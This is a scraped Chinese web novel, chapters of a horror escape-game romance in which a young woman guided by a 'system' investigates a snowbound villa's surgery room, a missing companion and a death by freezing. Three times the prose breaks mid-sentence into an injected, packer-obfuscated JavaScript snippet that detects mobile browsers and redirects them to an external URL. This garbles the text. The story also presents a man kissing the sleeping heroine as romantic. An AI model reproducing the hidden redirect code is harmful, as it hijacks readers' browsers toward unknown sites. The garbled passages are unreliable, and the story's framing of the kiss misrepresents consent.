时间一点一滴过着,周围的暴风雪也呼啸而过,仿佛都在嘲笑她的无用功。 不知道过了多久,明明只是个梦,应怜却因为紧张的神经耗费了太多体力和精神,一个不注意就歪倒在男人的脚边。 应怜不敢去看男人,紧闭起双眼,黑而密的长睫却又因为过度紧张在微微发颤。 但她能感受到,男人如冰一般的视线就落在她身上。 几秒后,男人动了。 衣料摩挲的声音在应怜头上传来,不是扳动扳机的声音,他似乎是把枪放回了枪袋子里。 随后应怜感觉到自己被不轻不重地捏了下的侧脸。 那是肌肤被接触到的触感,是梦境永远无法给到的真实感官反馈。 等她终于醒过来的时候,她的后背已经被冷汗浸湿了,嘴上咬的泛白,指甲嵌进肉里几分,漂亮的脸蛋上也全是惶恐不安。 好不可怜。 “……系统,你在吗?” 人在经历过一段惊险的时刻后会焦急于寻找亲近且有安全感的事物,系统的脾性算不上让她有亲近感,甚至因为昨天晚上被系统辣评过自己不反抗后,原本她臊得还不太想说话。 但应怜还是说了。 因为系统是在这个世界她唯一信任的个体。 「在。」系统很快回答,「怎么了?」 得到肯定回答的应怜重重松了口气,原本不算清醒的脑子开始回忆梦里的经历,最终默默化为一个模糊的总结:“我似乎梦到别墅的小主人了。” 「这是正常现象。你要做的是还原剧情,副本也会不断给你关于这栋别墅的线索。」系统充满耐心,音调不变地给应怜解释。 “可是……”应怜皱皱眉,似乎还想说点什么。 说完,他顿了两秒,「您先把衣服穿好。」 应怜下意识看了眼自己的睡裙,不知道是不是认床的问题,昨晚的应怜似乎在床上动作很大,明明长至过膝的睡裙硬生生卷到了大腿根,露出腿型很直比例又不出错的一双腿。 对应怜自己来说,这双腿早就看习惯了,系统又不是真人,看了也没关系。但对系统而言,这双腿白的晃眼了。 比他曾经管理逃游论坛帖子时见过的一些故意发卖肉帖好蹭到大佬大腿的人好看得多,也有诱惑力得多。 可这双腿的主人却盯着疑惑又无辜的表情,纯透顶了。 “哦哦。”虽然不是很明白系统为什么管她衣服的事,不过她还是听话得把身上的睡裙脱掉了。 「滋滋——您、您怎么突然……」话语间终于有了人类说话时会有的起伏,系统似乎喘了口气,不论是语言上还是烧冒火的主板都表达了现在系统的慌张。 应怜跟无辜了,穿衣服的动作顿住,“不是你让我换衣服的吗?” 把衣服穿好在应怜这里理所当然地理解成了把可以穿出门的衣服穿好,而不是把睡衣整理好。很显然,系统还不那么了解话语的字面意思和真正运用到生活中会有多大的差距。 需要辩解自己刚刚说出的话被误解成本太大,而且系统要先去修一修自己突然炸开的主板,就没回复。 下一刻,应怜就知道系统为什么让她穿好衣服了。 门被敲响。 “醒了吗?应怜,饭做好了。” 哪怕不动脑子应怜都知道是贤惠的艾布纳做了饭。 想到这里,应怜难得有了些愧疚的情绪。明明她的身份才是那个伺候所有人的小仆人,却没想到一直做饭的人是艾布纳。 “来了!”应怜开门。 来人是艾布纳,他还穿着不知从哪弄来的围裙,里面是黑色高领紧身毛衣,或许为了做饭方便,袖子挽起,看起来颇有几分人夫感。 应怜忍不住多看了两眼,随后才乖乖地下楼。 “在看什么?”艾布纳笑着问。 “围裙。”应怜被问后有些莫名偷看别人的羞耻感,但还是老实地回答了,“感觉在你身上好合适,我穿好像会大。” 也不怪应怜这样想,如果应怜是s码的,那这几个有钱的少爷个个都是xl码的。 可能有钱人营养确实好吧,少爷小姐们不光身高够连身材也是一等一的好。 应怜又想到了昨天的欧莉娅,她也足足一米七的高个子,身材很好,一身从头到脚都是张扬的红色,抓着她头发的样子现在想想都有些心有余悸。 但是她就那么毫无预兆地死了。 毫无预兆……这几乎是不可能的事。 一个游戏副本一定会在剧情发展时留下或多或少的线索,可偏偏应怜什么都没有发现。她认为一定是她遗漏了什么,于是后来吃饭的时候应怜也一直在回想昨天的细节。 来到别墅、上楼铺床、发现虫子换房间、欧莉娅死亡。 和欧莉娅有关的一共只有这些。 来到别墅不会死亡,应怜和其他人还活着就是证明。上楼铺床也是应怜的工作,甚至欧莉娅一下子都没有动过那床被子,这也没有关系。 虫子掉到地上的时候,她怕得把被子扔到了地上,下意识地把那片虫子挡住。那时候发生了什么? 应怜细细思考着,欧莉娅失去耐心上楼催促了她,就发现掉在地上的被子。 然后…… “应怜?” 回忆被猛地打断。 是罗珀,他皱着眉,询问:“在想什么?看起来脸色很差。” “我在想……”应怜下意识看了看周围,没有看到加尔后才继续开口:“欧莉娅为什么会死。” 提到昨天的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949845|177509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,几个人沉默下来。 “她的死因、死法都还不确定,我等下会检查。现在我们要做的是活下去。”罗珀没有否定应怜的思考方向。 欧莉娅不明不白地死了,作为同行者,如果能活着回去是一定要给她的家族交代的。 npc和玩家到底不一样,应怜知道这是逃生游戏,需要通过欧莉娅的死来分析出别墅杀人的原因,从而复盘故事。 npc只在乎他们要怎么活着回家,和回去之后的事。 罗珀思忖片刻,“总之,这幢别墅很诡异。我认为我们需要从这里搜查一下。吃完饭我去检查欧莉娅的尸体,你们看看别墅里有什么发现吧。主人的身份、昨天的黑狗,不管什么都可以。” 卡特体贴地说:“那艾布纳和应怜一起吧,毕竟是女孩子嘛。” 卡特有一头深棕色的卷发,他给应怜的印象是所有人里情商最高的。欧莉娅和艾布纳因为房间虫子究竟是不是她放的争执不下的时候,是他一句话转移了话题。加尔要掐死她的时候也是他比谁反应都快,最后带加尔离开的也是卡特。 以至于现在,他依旧做着让大家都不会不舒服的事。 大家都没意见,只有罗珀淡淡地看了艾布纳一眼。 “注意线索,别光顾着她。” 从昨晚开始,艾布纳对应怜的关注和在意从来没掩饰过,四个人里能有五个人看得出来他对应怜的特殊。罗珀提醒几句也是希望他能记着正事。 别墅一共有三层。 第一层有大厅和厨房,二楼是主卧和客房,三楼就是他们昨晚在的棋牌室。至于还有没有别的房间,他们昨天才住进来,根本没有仔细看过。 卡特思考了一会,说:“那我去看看二楼吧,我对虫类涉猎一点,可以看看主卧的那些虫子尸体。” “我刚好要检查尸体,等会让加尔和我一起把欧莉娅的尸体拖进来。”罗珀可不管加尔是装深情还是真深情,冷漠无情地宣布后,上楼准备把加尔叫醒。 加尔没有来吃早饭。 应怜仔细观察了一番,发现只有她和艾布纳吃的是火腿、牛奶和华夫饼,明显出自同一个人之手。而其他人只是热了吐司再刷上酱。 她终于意识到,每位少爷都是自己做的饭,只有艾布纳专门为她做了一份。 吃完饭后,艾布纳和应怜上了三楼。 刚上去,应怜就闻到了烟味,大概是他们昨晚玩的时候留下的。 气味能从昨晚留到早上,足以见这幢老别墅的换风系统并不先进。 上楼第一间就是棋牌室,可能是因为欧莉娅的死事发突然,几个人连门都没关。 棋牌室里面不算杂乱却也称不上整齐,酒瓶在四个座位周围都有一些,离门最近的那里倒了两个,像是加尔怒气冲冲离开时踢翻的。 桌上就是扑克牌、麻将。 艾布纳在她身边,“这里在我们玩之前几乎没有使用痕迹,主人应该很少来。” 字面意思是这间有线索的可能性不大。 “好。” 应怜听话地离开了,没注意到艾布纳躲闪的目光。 早知道先把这里收拾一下了……不及时打扫卫生的男人会被讨厌吧? 5. 诡谲别墅(5) 应怜刚打开第二间房门就闻到了一股医院才有的味道。 入眼就是一个宽大的手术台。 这并不像普通医院里的手术台,比医院里多了四条束缚带,分别是捆绑住手脚的。 手术台一看就已经多年不使用,上面除了灰尘和锈迹并没有其他有价值的东西。 再去看一旁放手术工具的工具台,上面搁着两把手术刀、一只纯黑色的大碗和一瓶英文标签的药剂瓶。 艾布纳拿起药剂仔细打量,最后皱眉缓缓说出三个字:“镇静剂,最常见用于牙科、精神科、肠胃科。” “能在家里直接建一个手术室,说明这家主人应该有长期生病的患者,需要经常做手术。能用得上束缚带的,符合的大概只有精神科疾病。” 听着艾布纳的话,应怜下意识开始思考这一家人。 目前来看,男女主人的线索几乎没有,应怜更倾向这个手术室和小主人相关。 再加上那个诡异的梦…… 小主人不会有精神病吧? 应怜下意识往后缩了缩,她原本在艾布纳身后,等艾布纳再回头的时候发现应怜都快挪到门口了。 艾布纳愣了愣,看着应怜,没忍住笑了。 “怎么躲那么远?很害怕吗?” 一边说着,他一边往应怜身边走去。 就在他要走到应怜身边时,他猛然顿住,目光移到了进门从没关注到的门框上。 门框靠下尽是密密麻麻的红色抓痕,代表来到这件手术室的人是非自愿的。 如果是非自愿,那就意味着这个手术室的用途不是治病,而是进行一些并不正常、会危害其他人的人体实验。 艾布纳几乎立刻明白了事情的严重性,和应怜说了句稍等后又返回去看手术台上的东西。 手术刀、镇静剂和一个纯黑色的大碗。 前面两种东西都很好懂,唯独这只碗显得格格不入。 他抽出一条干净的手帕拿起了这只碗,严格来说,它只是外表像碗,更合适的称呼应该是用来盛放什么的器皿。 里面没有任何洗刷痕迹,让艾布纳轻易地闻到了腐朽的铁锈味。 如果盛放的是血液,在没装满的情况下里面应该有一条明显的液体分界线,可现在里面只有不均匀的溅射状血液。 这东西曾经装过人的内脏。 艾布纳立刻做出了判断。 什么人需要别人的内脏?从利益角度上,可能是单纯的贩卖器官。从需求角度上,可能是家里的某个主人需要定期更换器官。 再往下也联想不到什么了。 于是他转过身,再次看回应怜,下意识放轻了声音:“我们去下个房间吧。” 视线望去,依旧是还没回过神的应怜。 他以为应怜还在刚刚的情绪中没走出来,于是他这次走到了应怜的身边,目露担忧,“怕这里有精神病吗?” 应怜终于被叫回了神,她缓缓摇摇头,抬起手指向了屋子的一处。 那里是屋子里唯一的窗户,一个痛苦扭曲、全是血的人脸就挤在窗户缝边,让人分不清“他”在窗外还是屋里。 艾布纳回头去看,同样看向了窗户,外面大雪茫茫,仿佛失去了所有色彩。 “窗户外面?你看到什么了吗?”他耐心询问,扭回头看向应怜。 正在应怜也迷茫的时候,狰狞的脸却在艾布纳转头离开视线的那一刻猛然显现。 应怜此时再也忍不住,被吓得连连后退,最后几乎是逃出了三楼。 下楼的时候她不敢向四周看,只是想离三楼越远越好。 也是因为太过匆忙,她没仔细看周围,刚巧撞到了从主卧出来的卡特。 “哎呦…”他牵起一个下意识的笑,脑子还没回过神嘴巴已经开始问:“怎么了?给你吓成这样,路都不看了。” 此时的应怜终于有了一点反应,她呆呆抬起头,似乎才反应过来卡特是人。 是活人。 她快要急哭了,害怕地主动去抓住卡特。 今天卡特穿了件酒红色衬衫,衣服用了抗皱性极佳马海毛面料,虽然没被应怜扯皱,但本来就大的领口被扯得更开。 卡特有些无奈,用手抓着应怜的胳膊,企图让应怜身体先稳定下来。 但想和做是两码事。 抓住的第一个印象是好瘦,他一个手就能握住她的胳膊。真的有好好吃饭吗?怪不得艾布纳要每顿饭都给她做好。 第二个印象是好凉。她今天穿的很薄,只有一件白色短裙。是因为天生体质差才这么凉,还是被吓到的? 一想到这,卡特心里有种难言的心疼。 他很想抱紧眼前的人,把她暖得舒服一点。同时也忍不住怪艾布纳没有照顾好应怜。 保护的工作都没做好……下次还是他陪着应怜吧。 在他还在胡思乱想的时候,身前的人开口了。 “我好害怕……”他感受到应怜还在细微地发抖,表情比刚刚好了点,但脸色还是很白。 卡特从来没有把声音放得这么轻过,像是害怕惊扰敏感的小猫,“可以和我讲讲吗?别怕,我会陪着你的。” 应怜颤了颤睫毛,抬起泛红的眼睛去看,这里没有扭曲的人脸,只有一张痞气又难掩担忧的脸。 艾布纳和她在一起,但他却看不到可怕的脸。因此在那一刻,他成为不了应怜的安全来源。 但现在危险离开,卡特就顺理成章地成了新的人选。 “卡特……”沙哑又带着鼻音的声音从娇小的人口中传出。 卡特从没想过他只是被叫了一次名字,半个身子都麻了,他强装镇定地张了张嘴:“我、我在。” 后来的事自然而然,卡特把应怜拉入怀中,生涩地哄人:“不怕了,我陪着你呢。你告诉我发生什么……” 话还没讲完,他猛地止住话头,目光对上了不知道在楼梯上看了多久的艾布纳。他脸色阴沉,是明眼人都能看出来的心情不好。 如果是平常卡特一定会立刻停止让艾布纳不开心的事。他本来情商就高,照顾周围人的情绪不管在别人眼里还是他自己心里都是习以为常的事。 ……可是怀里的人还在轻轻发抖。 艾布纳刚刚就没保护好应怜,难道现在就能了吗? 更何况应怜是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949846|177509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主动选他的,他愿意被应怜选择。 此时的卡特完全忘了明明昨晚他还在开恶俗玩笑,将应怜放在被男人选择的天平上,今天他就已经心甘情愿地走上了属于应怜的天平。 “有人脸……很痛苦……”应怜还沉浸在刚刚的后怕中,一点一点给卡特讲发生了什么,“我们去的第二间房,是一个手术室,房间里有只有我能看到的东西。” 卡特听着,艾布纳也在听。 “你看到了什么?” 应怜顿了顿,“人脸。我看到了人脸。” 霎时间,陷入死寂。 在场的人第一时间是想质疑,应怜会不会是太害怕看错了?接下来应怜的话让他们陷入了又一阵沉默。 “只有我能看到……艾布纳少爷一转头去看他就消失,再转回来他就出现。” 艾布纳现在彻底懂了为什么应怜感到恐惧时第一时间不是和他待在一起而是逃跑,因为他也无形之中成了这份恐惧的来源。 “先去一楼汇合吧。”艾布纳很快做了决定。 突然出声的艾布纳吓了应怜一跳,导致她下意识往卡特身边躲。两个人的拥抱本就没分开,此刻更是紧紧贴在一起。 卡特下意识抱紧了应怜,有些无奈,“别怕,是艾布纳。” 是在炫耀吗?艾布纳嫉妒地想着。 他非常无法忍受两人的越界行为,却也深知应怜现在精神状态差,温声和她商量着:“我们一起去一楼好吗?你现在自己一个人待着我不放心。” 应怜点头。 这个别墅的不对劲已经成了事实,她一个人待着很危险。还有,她并不想错过npc们的信息交流。 等到彻底走到一楼,应怜可以感受到壁炉的温暖后,她才终于松开卡特。 “对不起,麻烦少爷了。”她又乖顺下来,扮演回了那个被少爷小姐奴役的亚裔平民女孩。 卡特皱眉,“以后不用叫少爷。” 他脑子里想得还是刚刚应怜在仓皇无助时叫的那声卡特。 “好。”应怜不明所以地应了声。 他们刚下来,碰巧看到了脸色不好看的罗珀。 楼下温度不算暖和,应怜猜测他应该刚检查完欧莉娅的尸体,把房门关上。 “卡特那怎么样?” 卡特答:“主卧的虫子是尸甲虫,有啃食尸体的习性。但不知道是不是因为环境变异,这里的虫子比通常情况下的尸甲虫大很多。” 艾布纳也不用罗珀点名,等卡特讲完立刻顺着把和应怜一起的发现讲了一遍,包括人脸的事。 听完后罗珀没着急给回应,只是点点头,随后开始分享自己的情报。 “我有两个发现。”罗珀竖起修长的手指,“一,欧莉娅身上没有外伤,没有中毒倾向,被发现时身上衣服很少,也就是说——她是活活冻死的。” 应怜有听人科普过。 快被冻死的人会觉得很热,最后脱掉衣服,露出幸福的微笑死去。而欧莉娅当时全身发黑也是因为被冻黑了。 罗珀没给他们多少反应的时间,很快地伸出了第二根手指。 “二,加尔失踪了。” 6. 诡谲别墅(6) 这句话如同一个惊天巨雷,劈在所有人身上。 来到副本的第一天,欧莉娅死亡。紧跟着第二天加尔就失踪了。 “我上楼后敲加尔的房门,没人应。”罗珀似乎显得有些焦躁,他抓了抓头发,继续说:“我一开始没管他。欧莉娅刚死,他心情不好不愿意见人可以理解,我就自己检查了欧莉娅的尸体。” 他皱着眉回忆,“今天的欧莉娅冻得比昨天还要黑,我只能大致看清没有刀剑导致的外伤。由于辨识度太低,再分析也没有意义,那之后我又把她扔了出去,再一次去二楼找加尔。” “我打开了门,空无一人。于是除了卡特在的主卧,我全都找了一遍。” 说到这,在场的人都知道接下来发生了什么。 罗珀又一次没在二楼找到人,也不用再找一楼了,这只有大厅和厨房,光是扫一眼就知道一个成年男子在这里无处可藏。 艾布纳皱眉,默默朝应怜挪近,才问:“现在要去三楼找他吗?” “人是一定要找的。外面暴风雪不停没法出门,现在能找的只有三楼。”加尔和欧莉娅不一样,欧莉娅已经死了,无法改变,但加尔只要可能会活着,他们就必须找。 说到这,罗珀看向了应怜,“你还愿意上三楼吗?建议最好和我们待在一起,一楼和二楼也不一定安全。” 欧莉娅死在一楼,加尔可能在一楼或者二楼失踪。 话是这么说,但应怜本能地想远离那里,三楼是最直接把她吓到的地方。 「去吧。」许久不说话的系统给了点提示。 应怜没有问为什么,也是怕她一开口系统就会被判定到过分提示,只能脸色还很苍白地朝罗珀说:“我和你们一起去。” 他点点头,没再说别的。 四个人都上了楼梯,艾布纳走在最后,准确来说是特地走得离应怜很近。 抛开刚刚的突发事件而言,应怜最信任的还是艾布纳,这一点大家都心知肚明,所以卡特即使很不甘心也只能遵从没被选择的命运。 上了三楼,罗珀看了一眼手术室艾布纳没来得及关住的门,向前走了几步,确认没看到脏东西后把门关好,继续向前走。 这次人多,搜查线索的速度也快了很多。 手术室往后还有两个房间。 第一间刚进门就能感受到刺骨的寒冷,像是一个天然储存食物的地窖。房间很大,只放了小孩的玩具和一具棺材。 棺材里什么都没有,但是很大。 进到第二间,他们的疑惑就更多了。 那是一件特地盖着又厚又黑的窗帘的房间,几乎透不进光,是罗珀拿手机照亮了天花板他们才能勉强看清。 这里明显没有刚刚的房间大,里面只有杂物和被撕毁到看不出原貌的东西。比较特殊的是正中间有两条嵌进墙体里的锁链,锁链连接着手铐,都已经被打开,手铐钥匙和被关押着的人都不知所踪。 墙体上的锁链似乎摇摇欲坠,连接的墙皮都脱落了大半,看起来曾被关押在这的人挣扎起来力气很大。 应怜看到这,总感觉心里毛毛的。 被冻死的欧莉娅、奇怪的黑狗、消失的加尔和三楼这些奇怪的房间都让她摸不着头脑,一些杂乱的线索更是让她连推理都不知道从哪推理。 但系统既然提示让她跟着上楼,那就证明这两个刚查看的房间一定很关键,甚至会和通关游戏有关。 可她怎么想也想不通这个副本到底发生了什么。 经过一个上午的查找,大家都很疲惫了,他们又都回到了一楼。 还是没人知道加尔到底去哪了,房间正常,一楼也没有可疑痕迹,一个大活人凭空消失掉了。 罗珀看了一会窗外肆虐不休的暴风雪,又看回自己没信号的手机,皱起眉。 “不能再这样被动了。”他决定完,下午就清点了食物,大概够现在的四个人吃十天。 对此应怜并不意外,正常来说食物应该够五个npc和一个玩家吃五天到副本结束,但现在欧莉娅死亡,加尔生死未卜让他们多了两人份的食物,所以才显得比较宽裕。 清点完后几位少爷脸色好看了一点,如果十天过去,暴风雪还没有停,那他们的家人一定也能发现不对劲,开始搜山。 所以食物生存方面他们暂时不需要考虑,现在重要的是搞清楚这栋诡异的别墅究竟有什么秘密。 接下来几位少爷开始商量今晚谁来守夜。 昨晚守夜的就是加尔,是他主动提出的,早上没人叫他起床也是顾及到他可能刚睡,结果他可能半夜就消失了。 罗珀吸取了教训,平淡地宣布了以后两个人守夜的改良方案。 加尔一失踪,应怜也不用担心少爷们守夜不带她了,现在一共四个人,就算她不愿意也要守夜。 应怜踌躇了一会,最终开口问:「我今天守夜还是明天守?」 她似乎听到系统笑了一声。 意识到系统在笑她之后,应怜一下子红透了脸,显然第一次主动求提示还没得到回答让她感受到了尴尬。 「今天吧。」系统轻咳两声,装作什么事都没发生的样子,仿佛刚刚没忍住笑的人不是他。 应怜有些怄气,没再和系统讲话,只是脸上红晕久久难消。 等情绪过来应怜才和罗珀说她今天想守夜。 罗珀有些意外。 在他印象里应怜是会希望越晚守夜越好的胆小鬼。虽然白天并不意味着安全,但和晚上比,白茫茫的雪要比不知道藏着什么的黑夜正常多了。 况且一个鬼脸就能把应怜吓得找不着北。 “好,那你今晚跟我……”罗珀正准备同意。 艾布纳猛地站起,“还是和我一起吧。” 他看起来过分激动了。 罗珀瞥了眼卡特,回想了下两人在楼梯上的拉扯,倒也可以理解。 “让应怜选吧,看她愿意和谁守夜。”卡特适时插了一句,“和我一起的话,我会照顾好你。” 他望着应怜,乖巧地像只大型狼狗。 也因为太过真诚,也弱化了最后那句似乎在刻意针对没照顾好应怜的艾布纳的嫌疑。 罗珀不再去看这两个蠢货,目光放在了应怜脸上,轻笑。 “以前怎么没发现,你这张脸还有勾人心魂的作用?”他的笑容仿佛在重复昨天晚上的话。 应怜别过头不去看他,转而开始认真思考跟谁一起的问题。 看样子罗珀和谁都无所谓,所以关键是从卡特和艾布纳里选今晚一起守夜的人。 意识到应怜没有第一时间选择自己,艾布纳的心蓦地沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949847|177509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下。 他近乎急迫地辩解,“不会再发生那样的事了,选我,好吗?”他也不在意在罗珀眼里自己成了个彻底被爱情冲昏头脑的蠢货,他只想得到眼前人的许可。 果不其然,这又争又抢的模样让应怜动摇了。 她张了张口,很想说点什么,但只要一看到卡特有些可怜的眼神就说不出来了。 那样子好像在说刚刚你楼梯口不是这样的。 “行了。”还是罗珀看不下去打断了这诡异的气氛,“艾布纳和应怜一起,卡特你和我明天守。” “凭什么!”卡特第一次这么不满。 罗珀幽幽地盯着他,“凭我和艾布纳实力最强。要是你和艾布纳一起,我照顾应怜也行。” 这番话意思已经很明显了,卡特武力值中等偏上,应怜武力值接近于零,只从实力角度看,艾布纳比卡特更合适。 有了更差的选项后,卡特终于不情不愿地和罗珀组队了。 艾布纳才不管那些弯弯绕绕,自顾自地拉着应怜离开,“现在时间还早,你可以先睡会,为晚上守夜留足体力。别担心,我会保护你的。” 这句保护指的是现在应怜补觉的时候。 “那你怎么办?” “我可以明天再睡。”说实话,他连明天的觉也不想睡,白天的事已经让他有了轻微的分离焦虑,他开始害怕应怜离开他的身边。 艾布纳懊恼过,为什么当时的自己不更谨慎、更在意应怜的反应,不是去找线索,而是第一时间安抚她。 如果好好安抚了,那一幕会不会不发生? 某些小人也不会有可乘之机。 此刻的艾布纳脑子里早就忘了什么从小玩到大的兄弟情分。 就算记得态度大概也是兄弟如手足,女人如衣服。人可以断手断脚,但不可以裸|奔。 等到了艾布纳的房间,应怜犹豫再三还是劝他:“你睡一会吧。” 他摇摇头,“我担心你。” “你可以先睡,我陪着你。今晚守夜遇到危险我可能帮不上什么忙。”应怜的潜台词是你睡眠不够的话两个人都可能陷入危险。 果然,听应怜说完后艾布纳不再坚持,只是说:“你害怕就叫醒我。” 二十分钟后。 艾布纳睁开眼,看向在他身边睡着的应怜和越来越清醒的自己,有些无奈,他高估了自己的睡眠质量。 应怜在身边他根本紧张地睡不着。 但应怜睡得很好,可能是早上吓坏了,一陷入安全的环境就容易过度放松,困意也随之涌现。 女生睡相很乖,因为这是艾布纳的房间,她只是克制地坐在凳子上,趴了一个床角。 她乌黑柔顺的长发搭在肩膀上,有几缕挡住了脸。 艾布纳顺着那缕头发看去,她浓密长卷的睫毛此刻不再像翻飞的蝴蝶,只安静地闭合住,饱满漂亮的嘴唇微张,香气从里向外一点一点钻出,勾得他心痒。 她的呼吸声和别人也不一样。 艾布纳本能地想找个人对比,却突然想起来他从来没这么仔细地听过一个人的呼吸声。 等到应怜彻底睡着,他才敢放轻动作下床,把应怜抱上床,再为她盖上干净的毯子。 做这一切的时候,他甚至怕自己剧烈的心跳声吵醒怀中的人。 7. 诡谲别墅(7) 等应怜睡醒已经是晚上了。 坐在她床边的艾布纳迅速察觉到这一点,嗓子带着些沙哑地开口:“睡得好吗?” 灯光昏暗,但艾布纳还是能看到她迟缓地点了点头。 “那就好,要现在吃晚饭吗?”艾布纳如释重负地松了一口气,却也因为光线太黑错失察觉到应怜蹙起的眉头的机会。 她撒谎了。 其实她睡得并不好。 倒不是和昨晚一眼因为梦到什么而睡不好,是身体上的,像是被折腾得没睡好。 她问系统有发生什么吗,他也没吭声。 应怜只以为系统在忙,没多在意就和艾布纳一起下楼吃饭了。 只有系统知道他是被npc的无耻震惊到说不出来话了。 他以为,这个副本再离谱,也不过是玩家被npc抱一会,其他的都还算正常,至少剧情还在走。 这份正常在应怜睡觉这几个小时内完全破灭了。 一个正常的npc为什么要抱着他的玩家亲?还是在玩家睡着的时候! 如果系统有脸,那他的脸色一定比没睡好的应怜还难看。 这事能告诉玩家吗?会让她在副本里分心谈恋爱吗?系统自己都觉得这想法荒谬。 一楼,卡特和罗珀草草解决了晚餐,他们没回各自的房间,还待在大厅,一个拿着手机玩游戏,另一个在闭目养神。 听到下楼声,两人同时望过来。 卡特愣住。 准确来说是看到应怜的嘴巴后愣住的。 樱粉色的唇色不知道什么时候染上了不该有的嫣红,比早上肿了一些。 这不该有的颜色卡特用膝盖想都知道是哪个狗啃的。 至于这个行为是不是应怜默许的,他用0.01秒就否定掉了。 严格来算,他从六岁认识应怜,却从昨天才开始了解她。 卡特的排除很简单,他不认为应怜蠢;恰恰相反,应怜很聪明。 艾布纳是一条狗,一条不给他一丁点好处都会为应怜服务的狗,一只免费到掉价的狗。 所以应怜没必要、也不用给他很多肉骨头。 像是一个普通的拥抱才符合单纯如应怜会给的感谢。 他恨恨地瞪着艾布纳,几乎咬牙切齿地开口:“在危机四伏的别墅,你倒还挺有闲情雅致的。” 艾布纳故作听不懂地挪开了视线,看天看地看炉火,总之不敢看应怜。 原本紧绷的气氛被艾布纳痴汉一样的行径搞得舒缓了不少。 罗珀也笑,直勾勾地盯着应怜看,眼底是对她愈发浓厚的好奇。他怎么也想不通,一个原本存在感很弱的人是怎么突然把他们这群人迷得团团转的。 他记得是从刚来到别墅第一天开始。 自那以后,一切都变了。 她的眼泪、泛红的眼眶和无助脆弱的身躯刻在了所有人的记忆里,并且不断加深。 难道她也和别墅有关系吗?这都是解不开的谜团。 应怜打了个哈欠,对还在大厅的两人有些疑惑,“你们还不睡吗?”虽然没看时间,但透过窗户能看到外面已经黑了。 “太早,睡不着。” 几位少爷都是夜猫子,不然昨天也不会恰好碰上欧莉娅的尸体。 人多一些应怜的安全感也会上升,所以她没再说什么,找了个座位乖顺坐下,开始放空脑子思考。 算算时间他们已经来到别墅两天了,屋里有炉火,但呼吸起来依然不觉得憋闷,可见别墅应该有自己的换风系统。但别墅的大多家具又算不上新,看起来年头很久。 屋子的主人能在多年前就装得起换风系统,资金和身份大概是不差的。 应怜又想起了穿着中世纪长裙的女主人。 中世纪?应怜很快把这个可能扔出了脑外。 换风系统的诞生起码要在二十世纪初,而中世纪在十五世纪就结束了。所以女主人的衣服应该只是当时一时流行,正常人不可能活四百多年。 可……如果只是普通得有钱又有地位的家族,真的会选址在偏远的雪山吗? 就算这家主人在做违法囚禁的事需要避人耳目,但在远离市区还偏僻难行的雪山进行交易,利润也会因为交通成本上升。 一家人来到什么都不方便的雪山隐居,还只能赚取一份收益普通的违法资金,且要承担的法律风险不变。 风险和麻烦远大于收益,没有聪明人会这么做。 除非,他们的目的不是赚钱,而是有别的必须留在雪山的理由。 “应怜,要喝点酒吗?”一向沉稳的罗珀突然给了打发时间的提议,他笑了,夹杂着不易发现的苦意。 “能放松心情。” 一个承担着组织所有人的领导角色,也要顶着所有人的压力。 回不去死在这都还好说,但如果活着回去了,欧莉娅的事怎么交代,加尔失踪到现在连尸首都找不到又该怎么办。 压力大也是没办法的事。应怜点点头,应下了他的提议。 紧接着让应怜瞠目结舌的事出现了。 这个别墅除了闹鬼死人之外,不光食物齐全设施到位,甚至连好酒都有很多。 昨晚少爷们在三楼喝了那么多,结果他们去厨房居然还能拿出来一整箱酒。 但最终没喝多少。应怜酒量不好,只喝了两杯。其他人也只是小酌,他们不是怕喝醉,只是考虑到极端情况炉火熄灭,最坏的打算是要靠喝酒取暖。 当然,如果真的出现这种情况,他们一致认为还是等死快一点。 只喝酒也很无趣,他们顺势玩起了游戏,扑克牌被拿下了楼,他们有一搭没一搭地玩着“信不信”。 第一个赢的是卡特,他比在场的人都擅长察言观色,因此大多时间都猜得中谁在骗人谁没在骗人。 第二个赢的是应怜,场上三个人放水的情况下,她能第二个赢完全是开局不会玩只会乱猜拿了一大堆牌。 由于是逆风翻盘,她还有些小得意地和系统炫耀:「我赢了哦。」 系统笑笑,并不戳破。 在场所有人的情绪都被游戏和酒精带动着放松许多,四个人不知不觉就玩到了凌晨。 钟声清脆。 大厅有摆钟,每天只有零点响。 罗珀瞥了一眼,把卡特从温暖的地毯上拽起来,“差不多该睡觉了。” 他表现的不太情愿。 毕竟他还记挂着应怜被狗啃的事,放任艾布纳一只狗和应怜待着实在危险。 起码要两条狗才行。 罗珀很明显猜到了他在想什么,白了他一眼,“快点走。” 但卡特的抗拒让他想到了一些别的事,走到一半又扭 